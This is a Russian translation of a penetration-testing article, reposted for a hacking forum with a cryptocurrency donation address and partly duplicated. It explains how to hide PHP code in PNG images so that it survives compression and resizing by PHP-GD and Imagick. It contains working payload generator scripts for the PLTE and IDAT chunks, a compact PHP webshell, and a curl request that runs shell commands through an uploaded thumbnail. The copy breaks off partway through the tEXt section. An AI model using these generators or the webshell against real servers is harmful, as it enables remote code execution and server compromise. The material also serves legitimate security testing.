ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия нод ETHEREUM и тестов
Во время оценки PHP-приложения мы недавно столкнулись с уязвимостью загрузки файлов, позволяющей интерпретировать PHP-код, вставленный в действительные PNG-файлы. Однако обработка изображений, выполняемая приложением, заставила нас углубиться в различные техники, доступные для внедрения PHP полезной нагрузки в этот конкретный формат файлов - и заставить его сохраняться через преобразования изображений. Эти исследования позволили нам успешно использовать уязвимость и кратко описаны в данной статье.
Введение
Функции загрузки изображений чрезвычайно распространены в веб-приложениях: хотите ли вы установить фотографию своего профиля, проиллюстрировать сообщение в блоге или показать миру свой любимый вид альбатроса, приложение должно будет работать с изображениями, предоставленными пользователем. Однако незначительные ошибки в конфигурации базового сервера или использование вторичных уязвимостей могут позволить злоумышленнику внедрить вредоносный код в файлы изображений, загруженные через такие функции, и заставить сервер выполнить его. Это может оказаться особенно опасным для PHP-приложений и привести к удаленному выполнению кода через интерпретацию произвольного PHP-кода. По этой причине при пентестировании PHP-приложений особенно важно иметь точные знания о различных техниках, имеющихся в распоряжении злоумышленника, чтобы пронести полезную нагрузку PHP через файлы изображений - даже в потенциально сложных ситуациях. Именно этому и посвящена данная статья. Хотя она не представляет никакой новой революционной техники, ее цель - рассмотреть на конкретном примере различные известные техники передачи полезной нагрузки, которые могут быть использованы злоумышленником для достижения произвольного выполнения PHP-кода.
0. Контекст, уязвимое приложение и подготовка лаборатории
В этом разделе описывается рассматриваемый сценарий. Мы оцениваем простое PHP-приложение, построенное на Symfony, которое позволяет своим пользователям загружать изображения, а затем размещает эти изображения в файловой системе для их отображения. Исходный код этого приложения доступен в следующем репозитории: https://github.com/synacktiv/astrolock.
Вот как выглядит одна страница приложения (не обращайте внимания на сомнительный дизайн) :
Как показано на скриншоте выше, приложение позволяет пользователю добавить скафандр через форму в верхней части, используя изображение в формате PNG. Затем скафандр будет отображен в нижней части.
Структура приложения довольно проста:
Вот необходимые условия для запуска приложения :
Когда все требования будут выполнены, выполните эти команды для запуска приложения локально на порту 8000:
1. Возвращение к основам: простые инъекции в PNG-файлы
В этой части будет описан самый простой и основной способ инъекции полезной нагрузки PHP в PNG-изображение, приводящий к выполнению произвольного PHP-кода. Когда пользователь загружает фото скафандра, используя: src\Controller\HomeController.php - public function
Это довольно просто: веб-форма ожидает название, описание и правильный PNG-файл. Затем приложение получит данные из загруженного файла изображения, создаст уникальное имя файла из оригинального имени и просто сохранит файл в файловой системе (в каталоге {web root}/suits_thumbnails/, который является общедоступным). Допустим, пользователь загрузил на сайт костюм NASA с оригинальным именем nasa.png. Тогда он будет отображаться на главной странице приложения, а изображение, связанное с костюмом, будет доступно по URL со следующим форматом:
Пока все хорошо. Однако функция обработки изображений в этом первом способе представляет собой критическую уязвимость. Поскольку приложение использует оригинальное имя загруженного изображения для его хранения, пользователь контролирует расширение файла изображения на веб-сервере. Злоумышленник может легко назвать файл nasa.php и загрузить его в приложение: тогда он будет храниться на веб-сервере как: http://localhost:8000/suits_thumbnails/633d51fa76f2c_nasa.php
Если этот файл содержит корректный PHP-код, он будет выполнен сервером по запросу пользователя. Единственным ограничением является то, что этот файл должен быть допустимым PNG файлом, так как форма Symfony проверяет MIME тип загружаемого изображения: злоумышленник не может просто создать ванильный PHP скрипт; он должен внедрить его в допустимое изображение. В конфигурации этого первого маршрута можно использовать две тривиальные техники PHP-инъекции.
Комментарии PNG.
Формат изображений PNG позволяет добавлять в файл комментарии для хранения различных метаданных (см. документацию по PNG). Их легко определить, и это идеальное место для внедрения нашей полезной нагрузки PHP. Например, можно определить комментарий с помощью exiftool следующим образом:
Чтобы подтвердить внедрение нашей полезной нагрузки в файл nasa.png, мы можем просмотреть данные, содержащиеся в файле в шестнадцатеричном формате, с помощью простого xxd nasa.png.
Все, что осталось сделать, это переименовать nasa.png в nasa.php, загрузить его в приложение и получить доступ к нему через общедоступную папку {web root}/suits_thumbnails. Веб-сервер интерпретирует файл как PHP-скрипт, проигнорирует все легитимные данные исходного PNG-файла и просто выполнит нашу полезную нагрузку PHP, которая будет найдена в разделе комментариев файла.
Необработанная вставка.
Еще более тривиальный метод может быть использован в этой первой конфигурации для внедрения нашей PHP полезной нагрузки в PNG. Можно просто добавить PHP-код после данных исходного PNG-файла:
Даже с нашей полезной нагрузкой PHP, вставленной в конец, MIME-тип файла по-прежнему считается image/png. Так как файл загружается на веб-сервер как есть, без какой-либо дальнейшей обработки, полезная нагрузка PHP останется в файле. Затем он будет выполнен сервером так же, как и в первом методе, описанном выше.
2. Преодоление сжатия изображений PHP-GD
Однако чаще всего файлы изображений не хранятся на сервере как есть, как предполагалось в первой части статьи. Изображения изменяют размер, сжимают или кодируют в определенные форматы файлов с помощью некоторых стандартных библиотек PHP, таких как PHP-GD. Способ /second-part иллюстрирует несколько более реалистичный - и сложный - сценарий для злоумышленника. Перед сохранением файлов, загруженных пользователем, приложение использует функцию PHP-GD imagepng для сжатия всех изображений, загруженных на веб-сервер. Это довольно распространенная операция. Для этого в функцию обработки изображений были добавлены две строки: src\Controller\HomeController.php - public function
По сравнению со сценарием, описанным в первой части статьи, теперь у нас есть дополнительное ограничение. Загружаемый файл по-прежнему должен быть действительным PNG-файлом; но теперь наша полезная нагрузка должна сохраниться и при обработке изображений, выполняемой PHP-GD (т.е. при сжатии функцией imagepng). В то время как два предыдущих "наивных" подхода не выдержат сжатия изображения, другой, более тонкий метод позволит нам успешно пронести нашу полезную нагрузку PHP, несмотря на это конкретное преобразование изображения.
Блок PLTE.
PNG файл содержит два типа блоков: вспомогательные блоки (которые не требуются для формирования действительного PNG) и критические блоки (которые необходимы в PNG файле) - более подробно см. в спецификации PNG. При сжатии PNG-файла PHP-GD (и, возможно, другие библиотеки сжатия изображений) удаляет вспомогательные фрагменты, чтобы уменьшить размер выходного файла. Именно поэтому комментарии, в которые мы вставляли нашу полезную нагрузку PHP в первой части, не пережили процесс сжатия. Но что, если бы мы могли внедрить нашу полезную нагрузку в критический кусок PNG-файла? Конечно, эти фрагменты не уничтожаются при сжатии изображения. Идеальным кандидатом для такой инъекции является блок PLTE, критический блок, который содержит "палитру" PNG-изображения, т.е. список цветов. Согласно спецификации PNG:
" Блок PLTE содержит от 1 до 256 записей палитры, каждая из которых представляет собой серию из трех байтов следующего вида:
Используя блок PLTE, мы потенциально имеем 256*3 байта для внедрения нашей полезной нагрузки в такой критический блок, что должно быть более чем достаточно. Единственное ограничение - длина полезной нагрузки должна быть кратной 3. Если сложить все это вместе, то вот PHP-скрипт, который создаст вредоносное PNG-изображение с полезной нагрузкой PHP, указанной в качестве первого аргумента, и вставит ее в блок PLTE.
Давайте выполним скрипт:
Теперь мы можем загрузить полученное изображение PNG через маршрут /second-part. Доступ к загруженному - и сжатому - изображению с веб-сервера выполнит нашу полезную нагрузку PHP, демонстрируя, таким образом, ее сохранение через преобразование изображения, выполненное PHP-GD:
3. Борьба с изменением размера изображения в PHP-GD
Другой стандартной операцией, выполняемой веб-приложениями при работе с изображениями, является изменение их размера для стандартизации их формата. Для этого приложение может, например, использовать функции PHP-GD imagecopyresized или imagecopyresampled.
В этом примере показан сценарий, в котором целевое приложение сжимает и изменяет размеры входных PNG-файлов перед их сохранением. src\Controller\HomeController.php - public function
Такая конфигурация добавляет еще один уровень сложности для злоумышленников. При изменении размера изображения уничтожается даже содержимое критически важных блоков, таких как блок PLTE, а вместе с ним и наша полезная нагрузка. Эти функции фактически создают совершенно новое изображение, используя только пиксельные данные из исходного файла. Критические или вспомогательные данные, содержащиеся в чанках исходного файла (помимо тех, которые определяют пиксельные данные), скорее всего, будут проигнорированы: пиксельные данные предоставленного файла PNG.
Блок IDAT.
Довольно сложный, но эффективный метод внедрения постоянной полезной нагрузки PHP в PNG-файлы заключается в кодировании ее в PNG IDAT. Эти блоки содержат фактические данные изображения, т.е. пиксели PNG, представленные 3 байтами для цветовых каналов RGB. При создании IDAT-кусков пиксели длиной 3 байта сначала обрабатываются линейными фильтрами PNG, а затем сжимаются с помощью алгоритма DEFLATE. Чтобы создать IDAT-кусок, содержащий корректный PHP-код, необходимо найти точную комбинацию необработанных пикселей, которая после обработки линейными фильтрами PNG и алгоритмом DEFLATE выдает желаемую полезную нагрузку. Такая комбинация будет зависеть от размера, до которого будет изменен размер PNG-изображения. За более подробной технической информацией мы обратимся к этим двум статьям, однако в качестве примера можно использовать следующий скрипт для создания PNG-изображения 110x110, которое после изменения размера до 55x55 (как и в нашем примере для 3 метода) будет содержать полезную нагрузку PHP <?=$_GET[0]($_POST[1]);?> - короткий, но эффективный PHP webshell.payloads/generators/generate_idat_png.php payloads/generators/generate_idat_png.php
Теперь мы можем использовать этот сценарий для генерации вредоносного PNG-изображения:
Давайте загрузим файл и попробуем запустить веб-оболочку, содержащуюся в полученной миниатюре. Следующий HTTP-запрос должен привести к выполнению команды uname -a:
Как видно на скриншоте выше, команда uname -a выполняется. Это означает, что наша полезная нагрузка PHP, спрятанная в IDAT-куске PNG-изображения, сохранилась после преобразований, выполненных PHP-GD над изображением при создании миниатюры. Как бы ни был эффективен метод внедрения IDAT-куска, следует отметить, что поиск подходящей полезной нагрузки, способной преодолеть линейные фильтры PNG и алгоритм DEFLATE, - непростой процесс. Сжатый вывод должен представлять собой читаемую строку и начинаться с границы байта, что не всегда так. Кроме того, правильная комбинация необработанных пикселей, которую следует использовать, будет постоянно меняться в зависимости от размеров, выполняемых целевым приложением.
4. Победа над изменением размера изображения Imagick
Рассмотрим последний сценарий. До сих пор мы рассматривали только обработку изображений, выполняемую PHP-GD. Хотя эта библиотека действительно часто используется для работы с изображениями в PHP, другие популярные библиотеки обработки изображений регулярно применяются в веб-приложениях. Каждая библиотека обрабатывает изображения, сжимает и изменяет их размер немного по-своему, что открывает новые возможности для контрабанды постоянных PHP-платежей в PNG-файлах. Одной из самых популярных библиотек обработки изображений наряду с PHP-GD является Imagick, PHP-реализация ImageMagick. Маршрут /fourth-part иллюстрирует приложение, использующее ее для изменения размера загруженных пользователем файлов с помощью функции thumbnailImage. src\Controller\HomeController.php - public function
При изменении размера изображения с помощью Imagick (через thumbnailImage или аналогичные функции типа resizeImage) ограничения изначально кажутся такими же, как и для библиотеки PHP-GD: полезная нагрузка, непосредственно вставленная в файл, в комментарий PNG или в его чанк PLTE, будет систематически уничтожаться преобразованиями изображения.
Однако в обработке изображений Imagick есть своя специфика, которая позволит нам использовать гораздо более удобный метод, чем хитроумная инъекция данных IDAT.
чанк tEXt.
В соответствии со спецификацией PNG:
" Чанки [...] tEXt [...] используются для передачи текстовой информации, связанной с изображением [...]. Каждый из текстовых блоков содержит в качестве первого поля ключевое слово, которое идентифицирует тип информации, представленной текстовой строкой. Следующие ключевые слова предопределены и должны использоваться там, где это необходимо:
Как мы видим, комментарии PNG, которые мы использовали для [Method n°1], представляют собой не что иное, как специальный предопределенный тип чанка tEXt. Особенно интересно заметить, что когда Imagick изменяет размер изображения, он фактически выполняет несколько действий над tEXt-кусками:
Стереть tEXt-фрагменты, помеченные как 'Комментарий'.
Переопределить значение следующих tEXt-фрагментов (или определить их, если они не существуют): date:create, date:modify, software, Thumb:
ocument::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI.
Сохраните исходное значение всех остальных tEXt-фрагментов (включая те, которые не содержат предопределенного ключевого слова).
Отсюда мы можем просто поместить нашу полезную нагрузку PHP в любые tEXt-фрагменты, которые не имеют типа 'Comment' и которые не перезаписываются Imagick. Ниже вы найдете очень простой скрипт, который будет принимать PNG изображение в качестве входного, вставлять произвольную PHP полезную нагрузку в tEXt чанк с тегом 'Synacktiv', и помещать полученный
PNG в выходной файл: payloads/generators/generate_tEXt_png.php
Давайте запустим скрипт:
Теперь мы можем загрузить полученный файл nasa.php, используя маршрут /fourth-part приложения. Когда мы запрашиваем изображение с измененным размером, мы видим, что наша полезная нагрузка действительно была выполнена, демонстрируя сохранение полезной нагрузки в процессе изменения размера изображения Imagick:
Различные конфигурации, описанные в этой статье, позволили нам предоставить точную картину (без каламбура) различных методов контрабанды PHP, имеющихся в распоряжении злоумышленника. Эти методы могут использоваться, когда есть возможность заставить сервер интерпретировать файл изображения как PHP. Такая ситуация может возникать по разным причинам (например, из-за слабой проверки расширения или уязвимости включения локальных файлов) и чаще, чем можно было бы ожидать. В этом случае было бы опасно предполагать, что обработка изображений и преобразования могут защитить приложение от выполнения произвольных полезных нагрузок PHP.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия нод ETHEREUM и тестов
Во время оценки PHP-приложения мы недавно столкнулись с уязвимостью загрузки файлов, позволяющей интерпретировать PHP-код, вставленный в действительные PNG-файлы. Однако обработка изображений, выполняемая приложением, заставила нас углубиться в различные техники, доступные для внедрения PHP полезной нагрузки в этот конкретный формат файлов - и заставить его сохраняться через преобразования изображений. Эти исследования позволили нам успешно использовать уязвимость и кратко описаны в данной статье.
Введение
Функции загрузки изображений чрезвычайно распространены в веб-приложениях: хотите ли вы установить фотографию своего профиля, проиллюстрировать сообщение в блоге или показать миру свой любимый вид альбатроса, приложение должно будет работать с изображениями, предоставленными пользователем. Однако незначительные ошибки в конфигурации базового сервера или использование вторичных уязвимостей могут позволить злоумышленнику внедрить вредоносный код в файлы изображений, загруженные через такие функции, и заставить сервер выполнить его. Это может оказаться особенно опасным для PHP-приложений и привести к удаленному выполнению кода через интерпретацию произвольного PHP-кода. По этой причине при пентестировании PHP-приложений особенно важно иметь точные знания о различных техниках, имеющихся в распоряжении злоумышленника, чтобы пронести полезную нагрузку PHP через файлы изображений - даже в потенциально сложных ситуациях. Именно этому и посвящена данная статья. Хотя она не представляет никакой новой революционной техники, ее цель - рассмотреть на конкретном примере различные известные техники передачи полезной нагрузки, которые могут быть использованы злоумышленником для достижения произвольного выполнения PHP-кода.
0. Контекст, уязвимое приложение и подготовка лаборатории
В этом разделе описывается рассматриваемый сценарий. Мы оцениваем простое PHP-приложение, построенное на Symfony, которое позволяет своим пользователям загружать изображения, а затем размещает эти изображения в файловой системе для их отображения. Исходный код этого приложения доступен в следующем репозитории: https://github.com/synacktiv/astrolock.
Вот как выглядит одна страница приложения (не обращайте внимания на сомнительный дизайн) :
Как показано на скриншоте выше, приложение позволяет пользователю добавить скафандр через форму в верхней части, используя изображение в формате PNG. Затем скафандр будет отображен в нижней части.
Структура приложения довольно проста:
- src\Entity\Suit.php и src\Repository\SuitRepository.php обрабатывают объекты "скафандр", которые будут храниться в базе данных с их названием, описанием и именем связанного изображения.
- src\Form\SuitType.php используется для определения формы, позволяющей пользователям загружать костюмы.
- src\Controller\HomeController.php является основным контроллером приложения.
Вот необходимые условия для запуска приложения :
- Symfony (проверено с Symfony 6.1) и PHP (проверено с PHP 8.1).
- PHP драйвер Sqlite3 (пакет php8.1-sqlite3 для систем Debian).
- PHP-GD (для частей 2. и 3. статьи).
- Imagick (для части 4. статьи).
Когда все требования будут выполнены, выполните эти команды для запуска приложения локально на порту 8000:
Код:
$ git clone https://github.com/synacktiv/astrolock
$ cd astrolock
$ composer install
$ php -S localhost:8000
1. Возвращение к основам: простые инъекции в PNG-файлы
В этой части будет описан самый простой и основной способ инъекции полезной нагрузки PHP в PNG-изображение, приводящий к выполнению произвольного PHP-кода. Когда пользователь загружает фото скафандра, используя: src\Controller\HomeController.php - public function
Код:
# Create the 'suit' object and link it to the Symfony form
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);
# The form is submitted and valid if the user defined a title, a description,
# and uploaded a file with the PNG MIME type
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
# Build a unique filename from original filename
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
# Store the uploaded file with the unique filename on the webservers in the
# thumbnails directory, which is simply {web_root}/suits_thumbnails/
try {
$suitFile->move(
$this->getParameter('thumbnails_directory'),
$newFilename
);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("File exception");
}
# Store the 'suit' object in the database to persist it
$entityManager->persist($suit);
$entityManager->flush();
return $this->redirectToRoute('app_home_homepage');
}
Это довольно просто: веб-форма ожидает название, описание и правильный PNG-файл. Затем приложение получит данные из загруженного файла изображения, создаст уникальное имя файла из оригинального имени и просто сохранит файл в файловой системе (в каталоге {web root}/suits_thumbnails/, который является общедоступным). Допустим, пользователь загрузил на сайт костюм NASA с оригинальным именем nasa.png. Тогда он будет отображаться на главной странице приложения, а изображение, связанное с костюмом, будет доступно по URL со следующим форматом:
Пока все хорошо. Однако функция обработки изображений в этом первом способе представляет собой критическую уязвимость. Поскольку приложение использует оригинальное имя загруженного изображения для его хранения, пользователь контролирует расширение файла изображения на веб-сервере. Злоумышленник может легко назвать файл nasa.php и загрузить его в приложение: тогда он будет храниться на веб-сервере как: http://localhost:8000/suits_thumbnails/633d51fa76f2c_nasa.php
Если этот файл содержит корректный PHP-код, он будет выполнен сервером по запросу пользователя. Единственным ограничением является то, что этот файл должен быть допустимым PNG файлом, так как форма Symfony проверяет MIME тип загружаемого изображения: злоумышленник не может просто создать ванильный PHP скрипт; он должен внедрить его в допустимое изображение. В конфигурации этого первого маршрута можно использовать две тривиальные техники PHP-инъекции.
Комментарии PNG.
Формат изображений PNG позволяет добавлять в файл комментарии для хранения различных метаданных (см. документацию по PNG). Их легко определить, и это идеальное место для внедрения нашей полезной нагрузки PHP. Например, можно определить комментарий с помощью exiftool следующим образом:
Код:
$ exiftool -comment="<?php phpinfo(); ?>" nasa.png
Код:
$ xxd nasa.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 0100 0000 0100 0802 0000 00d3 103f ...............?
[...]
00000150: 4800 0000 011f 52f7 3400 0000 1b74 4558 H.....R.4....tEX
00000160: 7443 6f6d 6d65 6e74 003c 3f70 6870 2070 tComment.<?php p
00000170: 6870 696e 666f 2829 3b20 3f3e b630 4e85 hpinfo(); ?>.0N.
00000180: 0000 8000 4944 4154 78da ecfd 6794 64e7 ....IDATx...g.d.
[...]
Необработанная вставка.
Еще более тривиальный метод может быть использован в этой первой конфигурации для внедрения нашей PHP полезной нагрузки в PNG. Можно просто добавить PHP-код после данных исходного PNG-файла:
Код:
$ echo '<?php phpinfo(); ?>' >> nasa.png && mv nasa.png nasa.php
Даже с нашей полезной нагрузкой PHP, вставленной в конец, MIME-тип файла по-прежнему считается image/png. Так как файл загружается на веб-сервер как есть, без какой-либо дальнейшей обработки, полезная нагрузка PHP останется в файле. Затем он будет выполнен сервером так же, как и в первом методе, описанном выше.
2. Преодоление сжатия изображений PHP-GD
Однако чаще всего файлы изображений не хранятся на сервере как есть, как предполагалось в первой части статьи. Изображения изменяют размер, сжимают или кодируют в определенные форматы файлов с помощью некоторых стандартных библиотек PHP, таких как PHP-GD. Способ /second-part иллюстрирует несколько более реалистичный - и сложный - сценарий для злоумышленника. Перед сохранением файлов, загруженных пользователем, приложение использует функцию PHP-GD imagepng для сжатия всех изображений, загруженных на веб-сервер. Это довольно распространенная операция. Для этого в функцию обработки изображений были добавлены две строки: src\Controller\HomeController.php - public function
Код:
[...]
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
# Build a unique filename from the original filename
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# Compress the uploaded PNG (level 9 of the zlib library) and save it
$source = imagecreatefrompng($suitFile->getPathName());
imagepng($source, $this->getParameter('thumbnails_directory').'/'.
$newFilename, 9);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("Exception in image processing");
}
[...]
По сравнению со сценарием, описанным в первой части статьи, теперь у нас есть дополнительное ограничение. Загружаемый файл по-прежнему должен быть действительным PNG-файлом; но теперь наша полезная нагрузка должна сохраниться и при обработке изображений, выполняемой PHP-GD (т.е. при сжатии функцией imagepng). В то время как два предыдущих "наивных" подхода не выдержат сжатия изображения, другой, более тонкий метод позволит нам успешно пронести нашу полезную нагрузку PHP, несмотря на это конкретное преобразование изображения.
Блок PLTE.
PNG файл содержит два типа блоков: вспомогательные блоки (которые не требуются для формирования действительного PNG) и критические блоки (которые необходимы в PNG файле) - более подробно см. в спецификации PNG. При сжатии PNG-файла PHP-GD (и, возможно, другие библиотеки сжатия изображений) удаляет вспомогательные фрагменты, чтобы уменьшить размер выходного файла. Именно поэтому комментарии, в которые мы вставляли нашу полезную нагрузку PHP в первой части, не пережили процесс сжатия. Но что, если бы мы могли внедрить нашу полезную нагрузку в критический кусок PNG-файла? Конечно, эти фрагменты не уничтожаются при сжатии изображения. Идеальным кандидатом для такой инъекции является блок PLTE, критический блок, который содержит "палитру" PNG-изображения, т.е. список цветов. Согласно спецификации PNG:
" Блок PLTE содержит от 1 до 256 записей палитры, каждая из которых представляет собой серию из трех байтов следующего вида:
- Красный: 1 байт (0 = черный, 255 = красный)
- Зеленый: 1 байт (0 = черный, 255 = зеленый)
- Синий: 1 байт (0 = черный, 255 = синий).
Используя блок PLTE, мы потенциально имеем 256*3 байта для внедрения нашей полезной нагрузки в такой критический блок, что должно быть более чем достаточно. Единственное ограничение - длина полезной нагрузки должна быть кратной 3. Если сложить все это вместе, то вот PHP-скрипт, который создаст вредоносное PNG-изображение с полезной нагрузкой PHP, указанной в качестве первого аргумента, и вставит ее в блок PLTE.
Код:
payloads/generators/generate_plte_png.php
Код:
<?php
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
$_payload = $argv[1];
$output = $argv[2];
while (strlen($_payload) % 3 != 0) { $_payload.=" "; }
$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
echo "FATAL: The payload is too long. Exiting...";
exit();
}
if($_pay_len %3 != 0){
echo "FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,$output);
Давайте выполним скрипт:
Код:
$ php gen.php '<?php phpinfo(); ?>' nasa.php
Теперь мы можем загрузить полученное изображение PNG через маршрут /second-part. Доступ к загруженному - и сжатому - изображению с веб-сервера выполнит нашу полезную нагрузку PHP, демонстрируя, таким образом, ее сохранение через преобразование изображения, выполненное PHP-GD:
3. Борьба с изменением размера изображения в PHP-GD
Другой стандартной операцией, выполняемой веб-приложениями при работе с изображениями, является изменение их размера для стандартизации их формата. Для этого приложение может, например, использовать функции PHP-GD imagecopyresized или imagecopyresampled.
В этом примере показан сценарий, в котором целевое приложение сжимает и изменяет размеры входных PNG-файлов перед их сохранением. src\Controller\HomeController.php - public function
Код:
[...]
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
# Build a unique filename from original filename
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# Compress the uploaded PNG (level 9 of the zlib library),
# resize it and save it
$filename = $suitFile->getPathName();
list($width, $height) = getimagesize($filename);
$source = imagecreatefrompng($filename);
$thumb = imagecreatetruecolor(55, 55);
imagecopyresampled($thumb, $source, 0, 0, 0, 0, 55, 55, $width, $height);
imagepng($thumb, $this->getParameter('thumbnails_directory').'/'.$newFilename);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("Exception in image processing");
}
[...]
Такая конфигурация добавляет еще один уровень сложности для злоумышленников. При изменении размера изображения уничтожается даже содержимое критически важных блоков, таких как блок PLTE, а вместе с ним и наша полезная нагрузка. Эти функции фактически создают совершенно новое изображение, используя только пиксельные данные из исходного файла. Критические или вспомогательные данные, содержащиеся в чанках исходного файла (помимо тех, которые определяют пиксельные данные), скорее всего, будут проигнорированы: пиксельные данные предоставленного файла PNG.
Блок IDAT.
Довольно сложный, но эффективный метод внедрения постоянной полезной нагрузки PHP в PNG-файлы заключается в кодировании ее в PNG IDAT. Эти блоки содержат фактические данные изображения, т.е. пиксели PNG, представленные 3 байтами для цветовых каналов RGB. При создании IDAT-кусков пиксели длиной 3 байта сначала обрабатываются линейными фильтрами PNG, а затем сжимаются с помощью алгоритма DEFLATE. Чтобы создать IDAT-кусок, содержащий корректный PHP-код, необходимо найти точную комбинацию необработанных пикселей, которая после обработки линейными фильтрами PNG и алгоритмом DEFLATE выдает желаемую полезную нагрузку. Такая комбинация будет зависеть от размера, до которого будет изменен размер PNG-изображения. За более подробной технической информацией мы обратимся к этим двум статьям, однако в качестве примера можно использовать следующий скрипт для создания PNG-изображения 110x110, которое после изменения размера до 55x55 (как и в нашем примере для 3 метода) будет содержать полезную нагрузку PHP <?=$_GET[0]($_POST[1]);?> - короткий, но эффективный PHP webshell.payloads/generators/generate_idat_png.php payloads/generators/generate_idat_png.php
Код:
<?php
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );
$img = imagecreatetruecolor(110, 110);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
imagepng($img);
?>
Код:
$ php generate_idat_png.php > nasa.php
Код:
$ curl -XPOST -d '1=uname -a' 'http://localhost:46269/suits_thumbnails/633d98ca0c846_nasa.php?0=shell_exec'
Как видно на скриншоте выше, команда uname -a выполняется. Это означает, что наша полезная нагрузка PHP, спрятанная в IDAT-куске PNG-изображения, сохранилась после преобразований, выполненных PHP-GD над изображением при создании миниатюры. Как бы ни был эффективен метод внедрения IDAT-куска, следует отметить, что поиск подходящей полезной нагрузки, способной преодолеть линейные фильтры PNG и алгоритм DEFLATE, - непростой процесс. Сжатый вывод должен представлять собой читаемую строку и начинаться с границы байта, что не всегда так. Кроме того, правильная комбинация необработанных пикселей, которую следует использовать, будет постоянно меняться в зависимости от размеров, выполняемых целевым приложением.
4. Победа над изменением размера изображения Imagick
Рассмотрим последний сценарий. До сих пор мы рассматривали только обработку изображений, выполняемую PHP-GD. Хотя эта библиотека действительно часто используется для работы с изображениями в PHP, другие популярные библиотеки обработки изображений регулярно применяются в веб-приложениях. Каждая библиотека обрабатывает изображения, сжимает и изменяет их размер немного по-своему, что открывает новые возможности для контрабанды постоянных PHP-платежей в PNG-файлах. Одной из самых популярных библиотек обработки изображений наряду с PHP-GD является Imagick, PHP-реализация ImageMagick. Маршрут /fourth-part иллюстрирует приложение, использующее ее для изменения размера загруженных пользователем файлов с помощью функции thumbnailImage. src\Controller\HomeController.php - public function
Код:
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
if ($suitFile) {
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# Turn the file into a 55x55 thumbnail using Imagick
$filename = $suitFile->getPathName();
$imgck = new Imagick($filename);
$imgck->thumbnailImage(55, 55, true, true);
$imgck->writeImage($this->getParameter('thumbnails_directory')."/".
$newFilename);
$suit->setSuitFilename($newFilename);
} catch (Exception $e) {
return New Response("Exception in image processing");
}
}
При изменении размера изображения с помощью Imagick (через thumbnailImage или аналогичные функции типа resizeImage) ограничения изначально кажутся такими же, как и для библиотеки PHP-GD: полезная нагрузка, непосредственно вставленная в файл, в комментарий PNG или в его чанк PLTE, будет систематически уничтожаться преобразованиями изображения.
Однако в обработке изображений Imagick есть своя специфика, которая позволит нам использовать гораздо более удобный метод, чем хитроумная инъекция данных IDAT.
чанк tEXt.
В соответствии со спецификацией PNG:
